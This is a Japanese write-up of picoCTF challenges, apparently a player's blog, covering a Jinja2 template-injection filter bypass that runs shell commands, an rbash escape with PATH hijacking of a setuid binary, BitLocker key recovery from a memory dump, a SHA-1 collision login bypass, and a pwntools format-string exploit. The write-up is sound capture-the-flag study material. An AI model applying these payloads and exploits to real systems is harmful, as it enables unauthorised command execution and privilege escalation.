以下の通りURLエンコードするとすり抜けるため、文字列中で使う分には問題ないが、配列の添字[]やメソッド・プロパティへのアクセス.を行いたい場合は困る。
{{"\x2e\x5b\x5d\x5fa"}}
↓
.[]_a
だが[]はfirst/lastフィルタやgetitemで回避可能だし、.はattrフィルタで回避できる。_はURLエンコードすればよい。
※フィルタについてはjinja2のドキュメントを参照
a = [0,1,2] # []の回避 {{a|first}} # -> 0 {{a|lsst}} # -> 2 {{a|attr("__getitem__")(1)}} # -> 1 # .の回避 {{a|attr("insert")(3)}} # -> a = [0,1,2,3]
まずは頑張ってobjectを得る。試行錯誤の末、以下の入力でobjectが取得できることがわかった。
{{config|attr("request")|attr("\x5f\x5fclass\x5f\x5f")|attr("\x5f\x5fmro\x5f\x5f")|last}}
# -> config.request.__class__.__mro__[-1]
# -> object
あとはどうにかして先ほどのペイロード{{[].__class__.__mro__[1].__subclasses__()[356]('cat flag',shell=True,stdout=-1).communicate()[0].strip()}}を再現する。記述は少し違うが、最終的にsubprocess.Popen()を実行させるのは変わらない。
# object.__subclasses__() {{config|attr("request")|attr("\x5f\x5fclass\x5f\x5f")|attr("\x5f\x5fmro\x5f\x5f")|last|attr("\x5f\x5fsubclasses\x5f\x5f")()}} # object.__subclasses__().__getitem__(356) {{config|attr("request")|attr("\x5f\x5fclass\x5f\x5f")|attr("\x5f\x5fmro\x5f\x5f")|last|attr("\x5f\x5fsubclasses\x5f\x5f")()|attr("\x5f\x5fgetitem\x5f\x5f")(356)}} # -> subprocess.Popen # object.__subclasses__().__getitem__(356)("ls", shell=true, stdout=-1).communicate() {{config|attr("request")|attr("\x5f\x5fclass\x5f\x5f")|attr("\x5f\x5fmro\x5f\x5f")|last|attr("\x5f\x5fsubclasses\x5f\x5f")()|attr("\x5f\x5fgetitem\x5f\x5f")(356)("ls",shell=true,stdout=-1)|attr("communicate")()}} # -> (b'__pycache__\napp.py\nflag\nrequirements.txt\n', None) # object.__subclasses__().__getitem__(356)("cat flag", shell=true, stdout=-1).communicate() {{config|attr("request")|attr("\x5f\x5fclass\x5f\x5f")|attr("\x5f\x5fmro\x5f\x5f")|last|attr("\x5f\x5fsubclasses\x5f\x5f")()|attr("\x5f\x5fgetitem\x5f\x5f")(356)("cat flag",shell=true,stdout=-1)|attr("communicate")()}} # -> (b'picoCTF{sst1_f1lt3r_byp4ss_0ef4bd3d}', None)
hash-only-2 (binary, 200)
今回はflaghasherがカレントディレクトリにない。
ctf-player@pico-chall$ which flaghasher /usr/local/bin/flaghasher ctf-player@pico-chall$ ls -la /usr/local/bin total 20 drwxrwxrwx 1 root root 24 Mar 6 19:42 . drwxr-xr-x 1 root root 17 Oct 6 2021 .. -rwsr-xr-x 1 root root 18312 Mar 6 19:42 flaghasher ctf-player@pico-chall$ echo $PATH /usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games:/snap/bin
先ほどの解法を試すが、出力のリダイレクトやPATHの編集が規制されている。これはbashの制限版であるrbashが使われているためである。
ctf-player@pico-chall$ cat << EOF > ~/md5sum > #!/bin/sh > cat /root/flag.txt > EOF -rbash: /home/ctf-player/md5sum: restricted: cannot redirect output ctf-player@pico-chall$ chmod a+x ~/md5sum chmod: cannot access '/home/ctf-player/md5sum': No such file or directory ctf-player@pico-chall$ export PATH=~:$PATH -rbash: PATH: readonly variable
しかし、実はbashを起動することが可能で、その中ではとくに制限はされていない。 そのため、これを利用してflagを得ることができる。
ctf-player@pico-chall$ bash
ctf-player@challenge:~$ echo hoge > hoge # 注:制限なく実行できることがわかる
ctf-player@challenge:~$ cat << EOF > ~/md5sum
> #!/bin/sh
> cat /root/flag.txt
> EOF
ctf-player@challenge:~$ chmod a+x ~/md5sum
ctf-player@challenge:~$ export PATH=~:$PATH
ctf-player@challenge:~$ flaghasher
Computing the MD5 hash of /root/flag.txt....
picoCTF{Co-@utH0r_Of_Sy5tem_b!n@riEs_5547c7aa}
Bitlocker-2 (forensic, 300)
ヒントの通り、volatilityのプラグインを用いて復号する。そのプラグインはvolatility2でしか動作しないため、まずはその環境を用意する。
今回はdockerコンテナ上で動作するvolatility2dockerを用いる。
https://github.com/p0dalirius/docker-volatility2
# インストール git clone https://github.com/p0dalirius/docker-volatility2.git cd docker-volatility2 sudo make install # 以降は volatility2docker でdockerコンテナを起動できる # なおコマンド実行時のカレントディレクトリがコンテナ内の /workspace にマウントされる
volatility2dockerを起動し、プラグインを導入する。 利用するプラグイン:https://github.com/breppo/Volatility-BitLocker
# コンテナ内 wget https://raw.githubusercontent.com/breppo/Volatility-BitLocker/refs/heads/master/bitlocker.py cp bitlocker.py /volatility/volatility/plugins/
これで環境は整った、と言いたいところだが、volatility2では事前にメモリのprofileを特定する必要があるため、その作業も行う。 方法は何でも良いが、今回はvolatility3を用いた。以下の実行結果から、マシンがWindows 10 19041であることがわかるから、profileはおそらくWin10x64_19041だろうと推測できる。
$ vol -f memdump.mem windows.info.Info Volatility 3 Framework 2.11.0 Progress: 100.00 PDB scanning finished Variable Value (略) Is64Bit True (略) Major/Minor 15.19041 (略) NtMajorVersion 10 (略)
以上で準備は整った。これでvolatility2のプラグインを用いて、FVEK(Bitlockerで暗号化に用いられる鍵)を抽出することができる。
なお、ダンプしたFVEKを保存するディレクトリを事前に用意しておく必要がある(今回は./outputというディレクトリを作成した)。
また、動作させるマシンによっては非常に時間がかかるため注意(i5-8250Uでは1つ目のFVEKの抽出だけで2時間以上かかった)。
root@437ebec29593:/workspace# python2 /volatility/vol.py -f memdump.mem bitlocker --profile=Win10x64_19041 --verbose --dislocker ./output Volatility Foundation Volatility Framework 2.6.1 [INFO] Looking for some FVEKs inside memory pools used by BitLocker in Windows 10/2016/2019. [FVEK] Address : 0x8087865bead0 [FVEK] Cipher : AES-XTS 128 bit (Win 10+) [FVEK] FVEK: 4f79d4a00d5e9b25965b89581a6a599c [DISL] FVEK for Dislocker dumped to file: ./output/0x8087865bead0-Dislocker.fvek [INFO] Looking for some FVEKs inside memory pools used by BitLocker in Windows 8/8.1/2012/older 10 versions. [FVEK] Address : 0x40d857c90 [FVEK] Cipher : AES 128-bit (Win 8+) [FVEK] FVEK: d40582190eb6f067691120bbbe55e511 [DISL] FVEK for Dislocker dumped to file: ./output/0x40d857c90-Dislocker.fvek [FVEK] Address : 0x40de7ece0 [FVEK] Cipher : AES 128-bit (Win 8+) [FVEK] FVEK: 039e111586d5f9d974a571190474d097 [DISL] FVEK for Dislocker dumped to file: ./output/0x40de7ece0-Dislocker.fvek (以下略:5時間経ってようやく終わった)
抽出したFVEK(ここでは./output/0x8087865bead0-Dislocker.fvek)を用いて、dislockerでBitlockerを復号する。
sudo apt install fuse3 sudo mkdir /media/hoge # マウントに使用するディレクトリを作成 sudo dislocker -v -k ./output/0x8087865bead0-Dislocker.fvek -V bitlocker-2.dd /media/hoge
復号できたらgrepすればflagが得られる。
$ cd /media/hoge
$ ls
dislocker-file
$ strings dislocker-file | grep pico
picoCTF{B1tl0ck3r_dr1v3_d3crypt3d_9029ae5b}
Apriti sesamo (web, 300)
ヒントからemacsのバックアップファイルが残ってしまっていると推測し、/impossibleLogin.php~に対してPOSTリクエストを送信すると、遷移後のページのソース下部に以下のコメントが残されていた。
<!--?php if(isset($_POST[base64_decode("\144\130\x4e\154\x63\155\x35\x68\142\127\125\x3d")])&& isset($_POST[base64_decode("\143\x48\x64\x6b")])){$yuf85e0677=$_POST[base64_decode("\144\x58\x4e\154\x63\x6d\65\150\x62\127\x55\75")];$rs35c246d5=$_POST[base64_decode("\143\x48\144\153")];if($yuf85e0677==$rs35c246d5){echo base64_decode("\x50\x47\112\x79\x4c\172\x35\x47\x59\127\154\163\132\127\x51\x68\111\x45\x35\166\x49\x47\132\163\131\127\x63\x67\x5a\155\71\171\111\x48\x6c\166\x64\x51\x3d\x3d");}else{if(sha1($yuf85e0677)===sha1($rs35c246d5)){echo file_get_contents(base64_decode("\x4c\151\64\166\x5a\x6d\x78\x68\x5a\x79\65\60\145\110\x51\75"));}else{echo base64_decode("\x50\107\112\171\x4c\x7a\65\107\x59\x57\154\x73\x5a\127\x51\x68\x49\105\x35\x76\111\x47\132\x73\131\127\x63\x67\x5a\155\71\x79\x49\110\154\x76\x64\x51\x3d\75");}}}?-->
整理したものが以下になる。ユーザ名とパスワードのSHA1ハッシュ値が衝突すればflagが得られるようだ。
<?php if (isset($_POST["username"]) && isset($_POST["pwd"])) { $username = $_POST["username"]; $password = $_POST["pwd"]; if ($username == $password) { echo "<br/>Failed! No flag for you"; } else { if (sha1($username) === sha1($password)) { echo file_get_contents("../flag.txt"); } else { echo "<br/>Failed! No flag for you"; } } }
衝突例について調べると、600バイト程度の例を見つけた(https://sha-mbles.github.ioのmessageAとmessageB)。 実際に衝突することも確認できる。
$ sha1sum messageA messageB 8ac60ba76f1999a1ab70223f225aefdc78d4ddc0 messageA 8ac60ba76f1999a1ab70223f225aefdc78d4ddc0 messageB
これらをユーザ名・パスワードとしてPOSTすればよいと思われるが、表示できない文字を含むため、URLエンコードしておく。
$ cat enc.py
from urllib.parse import quote
with open("messageA", "rb") as f1:
b1: bytes = f1.read()
with open("messageB", "rb") as f2:
b2: bytes = f2.read()
print(quote(b1))
print(quote(b2))
$ python3 enc.py
%99%04%0D%04%7F%E8%17%80%01%20%00%FFKey%20is%20part%20of%20a%20collision%21%20It%27s%20a%20trap%21y%C6%1A%F0%AF%CC%05E%15%D9%27Ns%07bK%1D%C7%FB%23%98%8B%B8%DE%8BW%5D%BA%7B%9E%AB1%C1gKm%97Cx%A8%27s/%F5%85%1Cv%A2%E6%07r%B5%A4%7C%E1%EA%C4%0B%B9%93%C1-%8Cp%E2JO%8D_%CD%ED%C1%B3%2C%9C%F1%9E1%AF%24%29u%9DB%E4%DF%DB1q%9FXv%23%EEU%299%B6%DC%DCE%9F%CASU%3Bp%F8~%DE0%A2G%EA%3A%F6%C7Y%A2%F2%0B2%0Dv%0D%B6O%F4y%08O%D3%CC%B3%CD%D4%83b%D9j%9CC%06%17%CA%FFl6%C67%E5%3F%DE%28A%7Fbo%ECT%EDyC%A4n_W0%F2%BB8%FB%1D%F6%E0%09%00%10%D0%0E%24%ADx%BF%92d%19%93%60%8E%8D%15%8Ax%9F4%C4o%E1%E6%02%7F5%A4%CB%FB%82pv%C5%0E%CA%0E%8B%7C%CAi%BB%2C%2By%02Y%F9%BF%95p%DD%8DD7%A3%11_%AF%F7%C3%CA%C0%9A%D2Rf%05%5C%27%10GU%17%8E%AE%FF%82Z%2C%AA%2A%CF%B5%DEd%CEvA%DCY%A5A%A9%FC%9CugV%E2%E2%3D%C7%13%C8%C2L%97%90%AAk%0E8%A7%F5_%14E%2A%1C%A2%85%0D%DD%95b%FD%9A%18%ADBIj%A9p%08%F7Fr%F6%8E%F4a%EB%88%B0%993%D6%26%B4%F9%18t%9C%C0%27%FD%DDlB_%C4%21h5%D0%13M%15%28%5B%AB%2C%B7%84%A4%F7%CB%B4%FBQMK%F0%F6%23%7C%F0%0A%9E%9F%13%2B%9A%06no%D1%7FlB%98txXo%F6Q%AF%96t%7F%B4%26%B9%87%2B%9A%88%E4%06%3FY%BB3L%C0%06P%F8%3A%80%C4%27Q%B7%19t%D3%00%FC%28%19%A2%E8%F1%E3%2C%1BQ%CB%18%E6%BF%C4%DB%9B%AE%F6u%D4%AA%F5%B1WJ%04%7F%8Fm%D2%EC%15%3A%93A%22%93%97M%92%8F%88%CE%D96%3C%FE%F9%7C%E2%E7B%BF4%C9k%8E%F3%87Vv%FE%A5%CC%A8%E5%F7%DE%A0%BA%B2A%3DM%E0%0E%E7%1E%E0%1F%16%2B%DBm%1E%AF%D9%25%E6%AE%BA%AEj5N%F1%7C%F2%05%A4%04%FB%DB%12%FCEMA%FD%D9%5C%F2E%96d%A2%AD%03-%1D%A6%0As%26%40u%D7%F1%E0%D6%C1%40%3A%E7%A0%D8a%DF%3F%E5pq%88%DD%5E%07%D1X%9B%9F%8Bf0U%3F%8F%C3R%B3%E0%C2%7D%A8%0B%DD%BALd%02%0D
%99%03%0D%04%7F%E8%17%80%01%18%00%FFPractical%20SHA-1%20chosen-prefix%20collision%21%1D%27lk%A6a%E1%04%0E%1F%7Dv%7F%07bI%DD%C7%FB3%2C%8B%B8%C2%B7W%5D%BE%C7%9E%AB%2B%E1gK%7D%B3Cx%B4%CBs/%E1%89%1Cv%A0%26%07r%A5%10%7C%E1%F6%E8%0B%B9%97%7D-%8ChRJO%9D_%CD%ED%CD%0B%2C%9C%E1%921%AF%26%E9u%9DRP%DF%DB-M%9FXr%9F%EEU3%19%B6%DC%CCa%9F%CAO%B9%3Bp%ECr%DE0%A0%87%EA%3A%E6sY%A2%EE%272%0Dr%B1%B6O%EC%C9%08O%C3%CC%B3%CD%D8%3Bb%D9z%90C%06%15%0A%FFl%26r7%E5%23%E2%28A%7B%DEo%ECN%CDyC%B4J_W%2C%1E%BB8%EF%11%F6%E0%0B%C0%10%D0%1E%90%ADx%A3%BEd%19%97%DC%8E%8D%0D%3Ax%9F%24%C4o%E1%EA%BA%7F5%B4%C7%FB%82r%B6%C5%0E%DA%BA%8B%7C%D6U%BB%2C/%C5%02Y%E3%9F%95p%CD%A9D7%BF%FD_%AF%E3%CF%CA%C0%98%12Rf%15%E8%27%10%5By%17%8E%AAC%82Z4%1A%2A%CF%A5%DEd%CEz%F9%DCY%B5M%A9%FC%9E%B5gV%F2V%3D%C7%0F%F4%C2L%93%2C%AAk%14%18%A7%F5O0E%2A%00N%85%0D%C9%99b%FD%98%D8%ADBY%DE%A9p%14%DBFr%F22%F4a%F38%B0%99%23%D6%26%B4%F5%A0t%9C%D0%2B%FD%DDn%82_%C41%DC5%D0%0Fq%15%28_%17%2C%B7%9E%84%F7%CB%A4%DFQMW%1C%F6%23h%FC%0A%9E%9D%D3%2B%9A%16%DAo%D1c%40B%98p%C4Xo%EE%E1%AF%96d%7F%B4%26%B5%3F%2B%9A%98%E8%06%3F%5B%7B3L%D0%B2P%F8%26%BC%C4%27U%0B%19t%C9%20%FC%28%09%86%E8%F1%FF%C0%1BQ%DF%14%E6%BF%C6%1B%9B%AE%E6%C1%D4%AA%E9%9DWJ%00%C3%8Fm%CA%5C%15%3A%83A%22%93%9B%F5%92%8F%98%C2%D96%3E%3E%F9%7C%F2SB%BF%28%F5k%8E%F7%3BVv%E4%85%CC%A8%F5%D3%DE%A0%A6%5EA%3DY%EC%0E%E7%1C%20%1F%16%3Bom%1E%B3%F5%25%E6%AA%06%AEj-%FE%F1%7C%E2%05%A4%04%F7c%12%FCUAA%FD%DB%9C%F2E%86%D0%A2%AD%1F%11%1D%A6%0E%CF%26%40o%F7%F1%E0%C6%E5%40%3A%FBL%D8a%CB3%E5psH%DD%5E%17eX%9B%83%A7f0Q%83%8F%C3J%03%E0%C2m%A8%0B%DD%B6%F4d%02%1D
これを用いてPOSTリクエストを送信すればflagが得られる。
$ curl -X POST -d "username=%99%04%0D%04%7F%E8%17%80%01%20%00%FFKey%20is%20part%20of%20a%20collision%21%20It%27s%20a%20trap%21y%C6%1A%F0%AF%CC%05E%15%D9%27Ns%07bK%1D%C7%FB%23%98%8B%B8%DE%8BW%5D%BA%7B%9E%AB1%C1gKm%97Cx%A8%27s/%F5%85%1Cv%A2%E6%07r%B5%A4%7C%E1%EA%C4%0B%B9%93%C1-%8Cp%E2JO%8D_%CD%ED%C1%B3%2C%9C%F1%9E1%AF%24%29u%9DB%E4%DF%DB1q%9FXv%23%EEU%299%B6%DC%DCE%9F%CASU%3Bp%F8~%DE0%A2G%EA%3A%F6%C7Y%A2%F2%0B2%0Dv%0D%B6O%F4y%08O%D3%CC%B3%CD%D4%83b%D9j%9CC%06%17%CA%FFl6%C67%E5%3F%DE%28A%7Fbo%ECT%EDyC%A4n_W0%F2%BB8%FB%1D%F6%E0%09%00%10%D0%0E%24%ADx%BF%92d%19%93%60%8E%8D%15%8Ax%9F4%C4o%E1%E6%02%7F5%A4%CB%FB%82pv%C5%0E%CA%0E%8B%7C%CAi%BB%2C%2By%02Y%F9%BF%95p%DD%8DD7%A3%11_%AF%F7%C3%CA%C0%9A%D2Rf%05%5C%27%10GU%17%8E%AE%FF%82Z%2C%AA%2A%CF%B5%DEd%CEvA%DCY%A5A%A9%FC%9CugV%E2%E2%3D%C7%13%C8%C2L%97%90%AAk%0E8%A7%F5_%14E%2A%1C%A2%85%0D%DD%95b%FD%9A%18%ADBIj%A9p%08%F7Fr%F6%8E%F4a%EB%88%B0%993%D6%26%B4%F9%18t%9C%C0%27%FD%DDlB_%C4%21h5%D0%13M%15%28%5B%AB%2C%B7%84%A4%F7%CB%B4%FBQMK%F0%F6%23%7C%F0%0A%9E%9F%13%2B%9A%06no%D1%7FlB%98txXo%F6Q%AF%96t%7F%B4%26%B9%87%2B%9A%88%E4%06%3FY%BB3L%C0%06P%F8%3A%80%C4%27Q%B7%19t%D3%00%FC%28%19%A2%E8%F1%E3%2C%1BQ%CB%18%E6%BF%C4%DB%9B%AE%F6u%D4%AA%F5%B1WJ%04%7F%8Fm%D2%EC%15%3A%93A%22%93%97M%92%8F%88%CE%D96%3C%FE%F9%7C%E2%E7B%BF4%C9k%8E%F3%87Vv%FE%A5%CC%A8%E5%F7%DE%A0%BA%B2A%3DM%E0%0E%E7%1E%E0%1F%16%2B%DBm%1E%AF%D9%25%E6%AE%BA%AEj5N%F1%7C%F2%05%A4%04%FB%DB%12%FCEMA%FD%D9%5C%F2E%96d%A2%AD%03-%1D%A6%0As%26%40u%D7%F1%E0%D6%C1%40%3A%E7%A0%D8a%DF%3F%E5pq%88%DD%5E%07%D1X%9B%9F%8Bf0U%3F%8F%C3R%B3%E0%C2%7D%A8%0B%DD%BALd%02%0D" -d "pwd=%99%03%0D%04%7F%E8%17%80%01%18%00%FFPractical%20SHA-1%20chosen-prefix%20collision%21%1D%27lk%A6a%E1%04%0E%1F%7Dv%7F%07bI%DD%C7%FB3%2C%8B%B8%C2%B7W%5D%BE%C7%9E%AB%2B%E1gK%7D%B3Cx%B4%CBs/%E1%89%1Cv%A0%26%07r%A5%10%7C%E1%F6%E8%0B%B9%97%7D-%8ChRJO%9D_%CD%ED%CD%0B%2C%9C%E1%921%AF%26%E9u%9DRP%DF%DB-M%9FXr%9F%EEU3%19%B6%DC%CCa%9F%CAO%B9%3Bp%ECr%DE0%A0%87%EA%3A%E6sY%A2%EE%272%0Dr%B1%B6O%EC%C9%08O%C3%CC%B3%CD%D8%3Bb%D9z%90C%06%15%0A%FFl%26r7%E5%23%E2%28A%7B%DEo%ECN%CDyC%B4J_W%2C%1E%BB8%EF%11%F6%E0%0B%C0%10%D0%1E%90%ADx%A3%BEd%19%97%DC%8E%8D%0D%3Ax%9F%24%C4o%E1%EA%BA%7F5%B4%C7%FB%82r%B6%C5%0E%DA%BA%8B%7C%D6U%BB%2C/%C5%02Y%E3%9F%95p%CD%A9D7%BF%FD_%AF%E3%CF%CA%C0%98%12Rf%15%E8%27%10%5By%17%8E%AAC%82Z4%1A%2A%CF%A5%DEd%CEz%F9%DCY%B5M%A9%FC%9E%B5gV%F2V%3D%C7%0F%F4%C2L%93%2C%AAk%14%18%A7%F5O0E%2A%00N%85%0D%C9%99b%FD%98%D8%ADBY%DE%A9p%14%DBFr%F22%F4a%F38%B0%99%23%D6%26%B4%F5%A0t%9C%D0%2B%FD%DDn%82_%C41%DC5%D0%0Fq%15%28_%17%2C%B7%9E%84%F7%CB%A4%DFQMW%1C%F6%23h%FC%0A%9E%9D%D3%2B%9A%16%DAo%D1c%40B%98p%C4Xo%EE%E1%AF%96d%7F%B4%26%B5%3F%2B%9A%98%E8%06%3F%5B%7B3L%D0%B2P%F8%26%BC%C4%27U%0B%19t%C9%20%FC%28%09%86%E8%F1%FF%C0%1BQ%DF%14%E6%BF%C6%1B%9B%AE%E6%C1%D4%AA%E9%9DWJ%00%C3%8Fm%CA%5C%15%3A%83A%22%93%9B%F5%92%8F%98%C2%D96%3E%3E%F9%7C%F2SB%BF%28%F5k%8E%F7%3BVv%E4%85%CC%A8%F5%D3%DE%A0%A6%5EA%3DY%EC%0E%E7%1C%20%1F%16%3Bom%1E%B3%F5%25%E6%AA%06%AEj-%FE%F1%7C%E2%05%A4%04%F7c%12%FCUAA%FD%DB%9C%F2E%86%D0%A2%AD%1F%11%1D%A6%0E%CF%26%40o%F7%F1%E0%C6%E5%40%3A%FBL%D8a%CB3%E5psH%DD%5E%17eX%9B%83%A7f0Q%83%8F%C3J%03%E0%C2m%A8%0B%DD%B6%F4d%02%1D" http://verbal-sleep.picoctf.net:63131/impossibleLogin.php
<!DOCTYPE html>
<html>
(中略)
</html>
picoCTF{w3Ll_d3sErV3d_Ch4mp_76d46a4d}
Echo Valley (binary, 300)
入力内容をそのまま出力するプログラムが与えられる。
printf(input_str_buf)という形で出力しているため、書式文字列攻撃が有効。
とりあえずスタック上のretaddrの位置を調べ、漏洩できるか試してみる。
# echo_valley+218 = printfのアドレス gef➤ b *(echo_valley + 218) Breakpoint 1 at 0x13e1: file /home/valley/valley.c, line 39. gef➤ r (略) # mainへのretaddrがスタックのどこにあるか調べる gef➤ disas main Dump of assembler code for function main: 0x0000555555555401 <+0>: endbr64 0x0000555555555405 <+4>: push rbp 0x0000555555555406 <+5>: mov rbp,rsp 0x0000555555555409 <+8>: mov eax,0x0 0x000055555555540e <+13>: call 0x555555555307 <echo_valley> 0x0000555555555413 <+18>: mov eax,0x0 0x0000555555555418 <+23>: pop rbp 0x0000555555555419 <+24>: ret End of assembler dump. gef➤ x/100wx $rsp 0x7fffffffdaf0: 0x65676f68 0xffff000a 0x00000040 0x00000000 0x7fffffffdb00: 0x00000004 0x00000000 0x008c0329 0x00000000 0x7fffffffdb10: 0x00000006 0x0000008e 0x00000000 0x00000000 0x7fffffffdb20: 0x00000000 0x00000000 0x00000000 0x00000000 0x7fffffffdb30: 0x00000000 0x00000000 0x00000000 0x00000000 0x7fffffffdb40: 0x00000000 0x00000000 0x00000000 0x00000000 0x7fffffffdb50: 0x00000000 0x00000000 0x6e79cb00 0xa49ce1b2 0x7fffffffdb60: 0xffffdb70 0x00007fff 0x55555413 0x00005555 (略) # retaddrが$rsp+0x78にあるとわかったので、書式文字列攻撃を用いて漏洩させてみる # $rsp+0x78 -> %(6 + 15)$p -> %21$p gef➤ r Starting program: /mnt/c/Users/gifbl/Downloads/pico/valley/valley [Thread debugging using libthread_db enabled] Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1". Welcome to the Echo Valley, Try Shouting: %21$p (略) $rsi : 0x00005555555592a0 → "You heard in the distance: 0x555555555413\n\n"
mainへのretaddrの位置がわかったので、retaddr(0x1413)からprint_flag(0x1269)のアドレスを逆算(-0x1aaすればよい)し、retaddrを書き換えればflagが得られそう。 solverを書いた*3。
from pwn import * context(arch='amd64', os='linux') #p = process("./valley") p = remote("shape-facility.picoctf.net", 51566) # スタック上の位置を指すアドレスを取得する p.recvuntil(b"Try Shouting: \n") p.sendline(b"%20$p") p.recvuntil(b"the distance: ") old_esp: int = int(p.recvline().strip(), 16) addr_retaddr: int = old_esp - 0x8 # 書き換え後の値(print_flag関数のアドレス)を取得する p.sendline(b"%21$p") p.recvuntil(b"the distance: ") retaddr: int = int(p.recvline().strip(), 16) win_addr: int = retaddr - 0x1aa # 書式文字列攻撃:pwntoolの機能を使う writes_dict = {addr_retaddr: win_addr} # payload.len < 100になるよう気をつける(入力bufのサイズ制限のため) payload = fmtstr_payload(6, writes_dict, write_size="short") print(payload) p.sendline(payload) # ここでrecvしたら動かず困った 何故かは不明 p.sendline(b"exit") p.interactive()
これを実行するとflagが得られる。
$ python3 solver.py
[.] Opening connection to shape-facility.picoctf.net on port 51566: Trying 3.20.1
[+] Opening connection to shape-facility.picoctf.net on port 51566: Done
b'%53865c%11$lln%11210c%12$hn%25112c%13$hnh\xe0\xa6G\xfd\x7f\x00\x00j\xe0\xa6G\xfd\x7f\x00\x00l\xe0\xa6G\xfd\x7f\x00\x00'
[*] Switching to interactive mode
You heard in the distance:
(略)
\x00h\xe0\xa6G\xfd\x7fThe Valley Disappears
Congrats! Here is your flag: picoctf{f1ckl3_f0rmat_f1asc0}
[*] Got EOF while reading in interactive
Pachinko (web, 300)
memory[0x1000]= 0x34, memory[0x1001]=0x13ならflag1が得られる。 前者がoutputState.length、後者がoutputStateに相当すると思われる。
…というふうにまじめに解くつもりだったが、xor flipを意識して遊んでたらクリア。なんで? (5,6を9とつないで、何回かsubmitしてたら偶然flagが出てきた)
{ "input1": 5, "input2": 6, "output": 9 }
picoCTF{p4ch1nk0_f146_0n3_e947b9d7}
perplexed (rev, 400)
ghidraで解析すると、入力文字列が正しいかcheck関数で判定されていることがわかる。 check関数を見やすく一部修正したものが以下になる。
undefined8 check(char *input_string) { size_t input_len; undefined8 err; size_t chr_idx_; undefined8 compared_str; undefined7 local_50; undefined uStack_49; undefined7 uStack_48; uint bit_flag_by_k; uint bit_flag_by_j; undefined4 local_2c; int j; uint i; int k; int input_str_idx; input_len = strlen(input_string); if (input_len == 0x1b) { compared_str = 0x617b2375f81ea7e1; local_50 = 0x69df5b5afc9db9; uStack_49 = 0xd2; uStack_48 = 0xf467edf4ed1bfe; input_str_idx = 0; k = 0; local_2c = 0; for (i = 0; i < 0x17; i = i + 1) { for (j = 0; j < 8; j = j + 1) { if (k == 0) { k = 1; } bit_flag_by_j = 1 << (7U - (char)j & 0x1f); bit_flag_by_k = 1 << (7U - (char)k & 0x1f); if (0 < (int)((int)input_string[input_str_idx] & bit_flag_by_k) != 0 < (int)((int)*(char *)((long)&compared_str + (long)(int)i) & bit_flag_by_j)) { return 1; } k = k + 1; if (k == 8) { k = 0; input_str_idx = input_str_idx + 1; } chr_idx_ = (size_t)input_str_idx; input_len = strlen(input_string); if (chr_idx_ == input_len) { return 0; } } } err = 0; } else { err = 1; } return err; }
入力のjビット目と、用意されたバイト列のkビット目を照合していく形で入力の正誤確認が行われているが、このj, kの決め方が非常にトリッキー。 具体的には、for文でi, j, kを0から7まで増加させながら、if文で以下の式がtrueになることを何度も確かめている。
0 < (int)((int)input_string[input_str_idx] & bit_flag_by_k) == 0 < (int)((int)*(char *)((long)&compared_str + (long)(int)i) & bit_flag_by_j)
複雑な式で解読が難しいが、簡略化すると以下の式になる。
input_string[input_str_idx] & bit_flag_by_k == ((compared_str >> (i*8)) & 0xff) & bit_flag_by_j
ここまでわかれば、このロジックをそのまま実装して、上記の正誤確認の部分を平文の作成処理に書き換えてやればflagが得られる。
compared_str = 0xf467edf4ed1bfed269df5b5afc9db9617b2375f81ea7e1 plaintext_len = 0x1b plaintext: list[int] = [0] * plaintext_len plaintext_idx = 0 k = 0 for i in range(0, 0x17): for j in range(0, 8): if k == 0: k = 1 bit_flag_by_j = 1 << (7 - j) bit_flag_by_k = 1 << (7 - k) if ((compared_str >> (i*8)) & 0xff) & bit_flag_by_j != 0: plaintext[plaintext_idx] |= bit_flag_by_k k += 1 if k == 8: k = 0 plaintext_idx += 1 if plaintext_idx == plaintext_len: print(plaintext) break txt = "".join([chr(p) for p in plaintext]) print(txt)
picoCTF{0n3_bi7_4t_a_7im3}
PIE TIME 2 (binary, 200)
解法としては、書式文字列攻撃を用いて適当な関数のアドレスを取得し、そこからwin関数のアドレスを逆算して入力すればよい。
たとえばmain関数とwin関数のアドレス差は以下の通り0x1400 - 0x136a = 0x96であるから、main関数のアドレスがわかればwin関数のアドレスを求められる。
$ objdump -d vuln | grep ">:" (略) 00000000000012c7 <call_functions>: 000000000000136a <win>: 0000000000001400 <main>:
さて、書式文字列攻撃を行うためには、printf時点でのスタック状況が判明していなければならない。 そのため、まずは攻撃したいprintf関数にブレークポイントを設定し、その時点でのスタックを見てみる。
gef➤ disas call_functions Dump of assembler code for function call_functions: Dump of assembler code for function call_functions: 0x00000000000012c7 <+0>: endbr64 (略) 0x0000000000001303 <+60>: mov rdi,rax 0x0000000000001306 <+63>: call 0x1160 <fgets@plt> 0x000000000000130b <+68>: lea rax,[rbp-0x50] 0x000000000000130f <+72>: mov rdi,rax 0x0000000000001312 <+75>: mov eax,0x0 0x0000000000001317 <+80>: call 0x1140 <printf@plt> (略) End of assembler dump. gef➤ b *(call_functions + 80) Breakpoint 1 at 0x1317 gef➤ r Starting program: /mnt/c/Users/.../vuln [Thread debugging using libthread_db enabled] Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1". Enter your name:hoge gef➤ x/40wx $rsp 0x7fffffffdb10: 0xf7fa9ff0 0x00007fff 0x00000000 0x00000000 0x7fffffffdb20: 0x65676f68 0x0000000a 0xf7e4d599 0x00007fff 0x7fffffffdb30: 0xf7fac5c0 0x00007fff 0xf7e44030 0x00007fff 0x7fffffffdb40: 0x00000000 0x00000000 0x00000000 0x00000000 0x7fffffffdb50: 0x00000000 0x00000000 0xffffdc98 0x00007fff 0x7fffffffdb60: 0xffffdb80 0x00007fff 0x3d4fec00 0x3b9c7df5 0x7fffffffdb70: 0xffffdb80 0x00007fff 0x55555441 0x00005555 0x7fffffffdb80: 0x00000001 0x00000000 0xf7dedd68 0x00007fff 0x7fffffffdb90: 0xffffdc80 0x00007fff 0x55555400 0x00005555 0x7fffffffdba0: 0x55554040 0x00000001 0xffffdc98 0x00007fff
スタック内に特定の関数のアドレスが含まれていないか調べてみよう。main関数を指すアドレスは含まれているだろうか?
gef➤ p *main
$1 = {<text variable, no debug info>} 0x555555555400 <main>
main関数が0x555555555400にあるとわかったが、このアドレスは先ほどのスタックの$rsp + 0x88に含まれている(以下参照)。そのため、書式文字列攻撃で$rsp + 0x88の値を漏洩できれば、main関数のアドレスを知ることができる。
